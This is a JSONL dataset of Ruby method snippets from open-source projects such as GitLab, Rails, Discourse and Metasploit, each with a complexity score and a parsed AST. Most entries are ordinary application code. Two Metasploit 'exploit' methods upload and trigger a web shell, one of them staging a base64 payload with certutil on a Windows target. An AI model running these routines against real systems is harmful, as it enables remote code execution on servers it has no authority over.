{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/exchange/proxy_maybe_shell.rb","start_line":8,"raw_source":"def initialize(info = {})\n    super\n\n    register_advanced_options(\n      [\n        Msf::OptFloat.new('MaxBackendRetries', [true, 'The maximum number of times to retry for targeting the backend', 10]),\n      ], self.class\n    )\n  end","complexity_score":4.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"OptFloat\"]},\"new\",{\"type\":\"str\",\"children\":[\"MaxBackendRetries\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The maximum number of times to retry for targeting the backend\"]},{\"type\":\"int\",\"children\":[10]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"519b055c-7529-4e61-b443-bd8c42b83c05"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/concerns/requires_enterprise_guard.rb","start_line":43,"raw_source":"def has_enterprise\n    unless EnterpriseToken.allows_to?(enterprise_action)\n      errors.add :base, :error_enterprise_only, action: enterprise_action.to_s.titleize\n    end\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_enterprise\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnterpriseToken\"]},\"allows_to?\",{\"type\":\"send\",\"children\":[null,\"enterprise_action\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"sym\",\"children\":[\"error_enterprise_only\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enterprise_action\"]},\"to_s\"]},\"titleize\"]}]}]}]}]}]}","id":"1eb8ccb7-62d7-40cb-8f2d-31a697b1666b"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/invertible_migration_test.rb","start_line":553,"raw_source":"def test_up_only\n      InvertibleMigration.new.migrate(:up)\n      horse1 = Horse.create\n      # populates existing horses with oldie = 1 but new ones have default 0\n      UpOnlyMigration.new.migrate(:up)\n      Horse.reset_column_information\n      horse1.reload\n      horse2 = Horse.create\n\n      assert_equal 1, horse1.oldie # created before migration\n      assert_equal 0, horse2.oldie # created after migration\n\n      UpOnlyMigration.new.migrate(:down) # should be no error\n      connection = ActiveRecord::Base.lease_connection\n      assert_not connection.column_exists?(:horses, :oldie)\n      Horse.reset_column_information\n    end","complexity_score":22.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_up_only\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"InvertibleMigration\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"lvasgn\",\"children\":[\"horse1\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Horse\"]},\"create\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UpOnlyMigration\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"up\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Horse\"]},\"reset_column_information\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"horse1\"]},\"reload\"]},{\"type\":\"lvasgn\",\"children\":[\"horse2\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Horse\"]},\"create\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"horse1\"]},\"oldie\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"horse2\"]},\"oldie\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UpOnlyMigration\"]},\"new\"]},\"migrate\",{\"type\":\"sym\",\"children\":[\"down\"]}]},{\"type\":\"lvasgn\",\"children\":[\"connection\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"lease_connection\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"column_exists?\",{\"type\":\"sym\",\"children\":[\"horses\"]},{\"type\":\"sym\",\"children\":[\"oldie\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Horse\"]},\"reset_column_information\"]}]}]}","id":"cb2ef05f-0c04-4af4-b239-90d12bada31d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/vendor/gems/sidekiq/lib/sidekiq/middleware/current_attributes.rb","start_line":102,"raw_source":"def persist(klass_or_array, config = Sidekiq.default_configuration)\n        cattrs = build_cattrs_hash(klass_or_array)\n\n        config.client_middleware.add Save, cattrs\n        config.server_middleware.prepend Load, cattrs\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"persist\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"klass_or_array\"]},{\"type\":\"optarg\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"default_configuration\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cattrs\",{\"type\":\"send\",\"children\":[null,\"build_cattrs_hash\",{\"type\":\"lvar\",\"children\":[\"klass_or_array\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"client_middleware\"]},\"add\",{\"type\":\"const\",\"children\":[null,\"Save\"]},{\"type\":\"lvar\",\"children\":[\"cattrs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"server_middleware\"]},\"prepend\",{\"type\":\"const\",\"children\":[null,\"Load\"]},{\"type\":\"lvar\",\"children\":[\"cattrs\"]}]}]}]}","id":"d0d211e6-b970-474e-9dbc-a308ab6a8cc6"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topics_bulk_action.rb","start_line":189,"raw_source":"def unlist\n    topics.each do |t|\n      if guardian.can_moderate?(t)\n        t.update_status(\n          \"visible\",\n          false,\n          @user,\n          { visibility_reason_id: Topic.visibility_reasons[:bulk_action] },\n        )\n        @changed_ids << t.id\n      end\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"unlist\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"topics\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"can_moderate?\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"update_status\",{\"type\":\"str\",\"children\":[\"visible\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"visibility_reason_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"visibility_reasons\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"bulk_action\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@changed_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"id\"]}]}]},null]}]}]}","id":"dd6992ec-4669-4b5a-95d0-26dbb69eab19"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/issuables_helper.rb","start_line":89,"raw_source":"def project_dropdown_label(project_id, default_label)\n    return default_label if project_id.nil?\n    return \"Any project\" if project_id == \"0\"\n\n    project = Project.find_by(id: project_id)\n\n    if project\n      project.full_name\n    else\n      default_label\n    end\n  end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"project_dropdown_label\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"default_label\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"default_label\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"Any project\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"full_name\"]},{\"type\":\"lvar\",\"children\":[\"default_label\"]}]}]}]}","id":"cfc64cef-f833-41e7-a362-43a26c8e57bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/post_migrate/20240802140438_remove_projects_dast_sites_project_id_fk.rb","start_line":9,"raw_source":"def up\n    with_lock_retries do\n      remove_foreign_key_if_exists(:dast_sites, :projects,\n        name: FOREIGN_KEY_NAME, reverse_lock_order: true)\n    end\n  end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_foreign_key_if_exists\",{\"type\":\"sym\",\"children\":[\"dast_sites\"]},{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"const\",\"children\":[null,\"FOREIGN_KEY_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reverse_lock_order\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"d9d7431c-f988-43bb-8fc5-b18a85141979"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/carrental_fileupload_rce.rb","start_line":107,"raw_source":"def exploit\n    login\n    payload_name = upload_shell\n    payload_url = normalize_uri(target_uri.path, \"admin/img/vehicleimages/#{payload_name}\")\n\n    print_status(\"Executing payload at #{payload_url}...\")\n    send_request_cgi(\n      'uri' => payload_url,\n      'method' => 'GET'\n    )\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"login\"]},{\"type\":\"lvasgn\",\"children\":[\"payload_name\",{\"type\":\"send\",\"children\":[null,\"upload_shell\"]}]},{\"type\":\"lvasgn\",\"children\":[\"payload_url\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"admin/img/vehicleimages/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing payload at \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"payload_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]}]}]}]}]}","id":"cf169109-ca5a-40c4-b14c-7b1b072f4141"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/parsers/rails3_erubis.rb","start_line":16,"raw_source":"def add_text(src, text)\n    return if text.empty?\n\n    if text == \"\\n\"\n      @newline_pending += 1\n    else\n      src << \"@output_buffer.safe_append='\"\n      src << \"\\n\" * @newline_pending if @newline_pending > 0\n      src << escape_text(text)\n      src << \"'.freeze;\"\n\n      @newline_pending = 0\n    end\n  end","complexity_score":17.93,"ast_json":"{\"type\":\"def\",\"children\":[\"add_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"==\",{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@newline_pending\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"@output_buffer.safe_append='\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@newline_pending\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},\"*\",{\"type\":\"ivar\",\"children\":[\"@newline_pending\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"escape_text\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"'.freeze;\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@newline_pending\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]}","id":"ac0ef81e-1647-403b-8484-9dceeec9f63b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/fixtures/development/26_container_images.rb","start_line":39,"raw_source":"def initialize_tmp_dir\n    @tmp_dir = Dir.mktmpdir('gitlab_seeder_container_images')\n\n    File.write(File.join(@tmp_dir, 'Dockerfile'), DOCKER_FILE_CONTENTS)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize_tmp_dir\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tmp_dir\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\",{\"type\":\"str\",\"children\":[\"gitlab_seeder_container_images\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"write\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"ivar\",\"children\":[\"@tmp_dir\"]},{\"type\":\"str\",\"children\":[\"Dockerfile\"]}]},{\"type\":\"const\",\"children\":[null,\"DOCKER_FILE_CONTENTS\"]}]}]}]}","id":"08674c04-0326-479d-b2e0-d81d38dcfadf"}
{"repo_name":"forem","file_path":"./repos/forem/app/services/comment_creator.rb","start_line":11,"raw_source":"def initialize(params, current_user:)\n    @current_user = current_user\n    @params = params\n    @record = comment\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"kwarg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_user\",{\"type\":\"lvar\",\"children\":[\"current_user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@params\",{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@record\",{\"type\":\"send\",\"children\":[null,\"comment\"]}]}]}]}","id":"69d9fdc9-da2c-449a-b4c0-fa68752eb7c5"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/generators/acts_as_follower_generator.rb","start_line":26,"raw_source":"def create_model\n    template \"model.rb\", File.join('app/models', \"follow.rb\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_model\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"template\",{\"type\":\"str\",\"children\":[\"model.rb\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"str\",\"children\":[\"app/models\"]},{\"type\":\"str\",\"children\":[\"follow.rb\"]}]}]}]}","id":"5bbf9a8a-20a9-41e6-b375-30c4e9c4fa56"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/auth/dpop_token_helper.rb","start_line":141,"raw_source":"def dpop_headers_for(user)\n      { \"dpop\" => generate_dpop_proof_for(user).proof }\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dpop_headers_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dpop\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"generate_dpop_proof_for\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},\"proof\"]}]}]}]}","id":"72c8b68b-3c65-40bd-9def-4109c22a9c1d"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/lib/miq_expression.rb","start_line":1372,"raw_source":"def fields(expression = exp)\n    case expression\n    when Array\n      expression.flat_map { |x| fields(x) }\n    when Hash\n      return [] if expression.empty?\n\n      if (val = expression[\"field\"] || expression[\"count\"] || expression[\"tag\"])\n        ret = []\n        tg = Target.parse(val)\n        ret << tg unless tg.kind_of?(InvalidTarget)\n        tg = Target.parse(expression[\"value\"].to_s)\n        ret << tg unless tg.kind_of?(InvalidTarget)\n        ret\n      else\n        fields(expression.values)\n      end\n    end\n  end","complexity_score":42.1,"ast_json":"{\"type\":\"def\",\"children\":[\"fields\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"expression\",{\"type\":\"send\",\"children\":[null,\"exp\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"fields\",{\"type\":\"lvar\",\"children\":[\"x\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"[]\",{\"type\":\"str\",\"children\":[\"field\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"[]\",{\"type\":\"str\",\"children\":[\"count\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"[]\",{\"type\":\"str\",\"children\":[\"tag\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"tg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Target\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tg\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"InvalidTarget\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Target\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"to_s\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tg\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"InvalidTarget\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tg\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"send\",\"children\":[null,\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expression\"]},\"values\"]}]}]}]}]},null]}]}","id":"32382a24-b1b6-44b5-80b0-91a9f010dc4a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/application_settings/update_service.rb","start_line":70,"raw_source":"def invalidate_markdown_cache?\n      !params.key?(:local_markdown_version) &&\n        (@application_setting.changes.keys & MARKDOWN_CACHE_INVALIDATING_PARAMS).any?\n    end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"invalidate_markdown_cache?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"local_markdown_version\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@application_setting\"]},\"changes\"]},\"keys\"]},\"&\",{\"type\":\"const\",\"children\":[null,\"MARKDOWN_CACHE_INVALIDATING_PARAMS\"]}]}]},\"any?\"]}]}]}","id":"94634ba8-ce91-40e6-aa44-783bee97baea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/agent_tesla_panel_rce.rb","start_line":180,"raw_source":"def exploit\n    os = os_get_name\n    unless os\n      print_bad('Could not determine the targeted operating system.')\n      return Msf::Exploit::Failed\n    end\n    print_status(\"Targeted operating system is: #{os}\")\n\n    file_name = \".#{Rex::Text.rand_text_alpha(10)}.php\"\n    case os\n    when /linux/\n      fail_with(Failure::NoTarget, \"This module currently doesn't support exploiting Linux targets!\")\n    when /windows/\n      cmd = \"echo #{Rex::Text.encode_base64(payload.encoded)} > #{file_name}.b64 & certutil -decode #{file_name}.b64 #{file_name} & del #{file_name}.b64\"\n    end\n    print_status(\"Sending #{datastore['PAYLOAD']} command payload\")\n    vprint_status(\"Generated command payload: #{cmd}\")\n\n    response = execute_command(cmd)\n    unless response && response.code == 200 && response.body.include?('command completed successfully')\n      fail_with(Failure::UnexpectedReply, 'Payload upload failed :(')\n    end\n    if os == 'windows'\n      panel_uri = datastore['TARGETURI'].gsub('/', '\\\\')\n      print_status(\"Payload uploaded as: #{file_name} to C:\\\\wamp64\\\\www\\\\#{panel_uri}\\\\server_side\\\\scripts\\\\#{file_name}\")\n      register_file_for_cleanup(\"C:\\\\wamp64\\\\www\\\\#{panel_uri}\\\\server_side\\\\scripts\\\\#{file_name}\")\n    else\n      fail_with(Failure::NoTarget, \"This module currently doesn't support exploiting Linux targets! This error should never be hit!\")\n    end\n\n    # Triggering payload.\n    send_request_cgi({\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path, 'server_side', 'scripts', file_name)\n    }, 2.5)\n  end","complexity_score":50.05,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"os\",{\"type\":\"send\",\"children\":[null,\"os_get_name\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_bad\",{\"type\":\"str\",\"children\":[\"Could not determine the targeted operating system.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Exploit\"]},\"Failed\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Targeted operating system is: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alpha\",{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"os\"]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"This module currently doesn't support exploiting Linux targets!\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"windows\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"echo \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"encode_base64\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]}]},{\"type\":\"str\",\"children\":[\" > \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".b64 & certutil -decode \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\".b64 \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_name\"]}]},{\"type\":\"str\",\"children\":[\" & del 